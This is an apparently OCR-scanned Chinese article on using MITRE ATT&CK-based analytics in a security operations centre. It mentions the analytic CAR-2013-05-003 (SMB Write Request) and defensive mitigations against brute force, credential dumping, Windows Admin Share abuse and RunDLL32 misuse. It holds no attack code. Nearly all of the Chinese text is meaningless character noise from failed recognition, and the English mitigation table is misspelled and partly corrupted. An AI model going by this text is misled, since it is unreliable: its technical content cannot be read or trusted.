XA T B2 BIEE? HE T H A BEEE, R RASHE T T 5 BE g A8 ) st
&7!%,
IEIKDALI‘@]E@@WF#KEEJ AEBREEMV TS ARG R, REmHEEhahg
A, M EHME, RERERKZ RIS IeE, Hng 2 8
%*%ECEDTO

BARERIELE, FTREEIA TR, CR TN ORI R A .
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VERBEER G —8, BV LSO T RS R i R A
1. B A AR N R R R LSRR

2. B PR EETIBUE B8 A B BN BT R SR 5 T

3. JFUGH R A R R B 1

= - \ r————
= CAR-2013-05-003: SMB Write Request — e e

MIE BRI, BIMAT, RIS

AT R ZE G A TR, ARG A SR I, TSR X PT RE AR SR 14 fn 78 5511
R AT, B EBXFPER AR, BRI Y e H B E e A, AU I
PR 7 T5 2 A B 18 25 2 X S 2%

AR TERBUE RIS R, AT DUk 2 AR RERE. Bilan, Se0s ok
TR — G b B8 1 2e%% Sysmon fRER, (HERA B B S0A RENS 5% & BT OV IR B HH
FHE.

BERT—BK: MEFRECHX s, FTRACNES, T2 A T4,

JEHRFE IR, BRI —ASH R A, BT A TLE R I, AR5 WA 1 H
W WERBSEIRE], KE WREA, HFHORE T4, RN EGEER .

BT AE R FRATH (R T ATT&CK 441 & BN 45 @i ) (Finding Cyber Threats with
ATT&CK-based Analytics) it 3, MFIRFER KU R H L4554 .
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IR G E R B, SRR SRR NGRS . 0\ T2 i,
A BRSO E R TR S0 RSk A N A, 3271 2% &G4~ SOC.

AEIASGE AR RIS, ErI AR SOC WA 20k . BN Tp, T 2 A A
G, RIER W 2T EEAZ MRy ATT&CK FEAR, TR SE47 AR fin 21 45
7w AR TR . FRAT R Y 2 A i AL (e S RT DAMT AR A SR e i, &R
WS B AR . HA SR it 1) 17 AR S5 (51 A 45 -

- % )11 fi# (Brute Force)m] 3@ i i 41 2 SR & 22 il .

- fEWindows 10 &2 4:_FHREFIF D" (Credential Guard) a3 g B 2H 24 45

JEE5 % (Credential Dumping) FMERE .

- B B TR A HU A B B I PRT i Windows 45 B B k=2 (Windows Admin Shares).

« F) F] Microsoft EMET [ X A i &AL (Attack Surface Reduction) $80], A DA
BN U 412308 ] RunDLL32 FAMERE .

Mitigations Mitigations
Mittigation Desscription Mitigation Degcrption

Set accound lockout policles after a certain number of falled

Use muhi-factor suthentication. Where possibde, also enable Managemant  Adminiss
multi-Tacics agthentisanion on aaemally TaEeg Selvices

Roxfer to NIST guidednes when craating passwond policies

EISHR AR (4) FIWindowsi5HE L= (£7) SRt

PRI 7 — IR RVIE S SOC h TR R, S5 BTIERMR,
A AR TS G PR, 4 BT B M R R 0 .55
M T LA R — 8 T 5
ARG TR S TR K AR AR AT 42
- S8 SR T A 0 R O R A
L RO FB I L F, G T A RS A L
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1L RS R A BRI BEE A, BT REREA 21 R A%,
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INGE
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LA 225 | A B I AHEFF IR U 5E 2%, AR5 18 4 5 7 ks 1 A Bl 4

KWPRE, EAN B FE 28 A MATIEM. ME, BRI XE E— IR, &R
A EHE BUG KN, eI T PRI 2R, IR AR .

WE I TEACHT, P 25 R0 AR 1 PP A i e T RE S 7 AR ARTUMAYZE R, ez i ki 1Y
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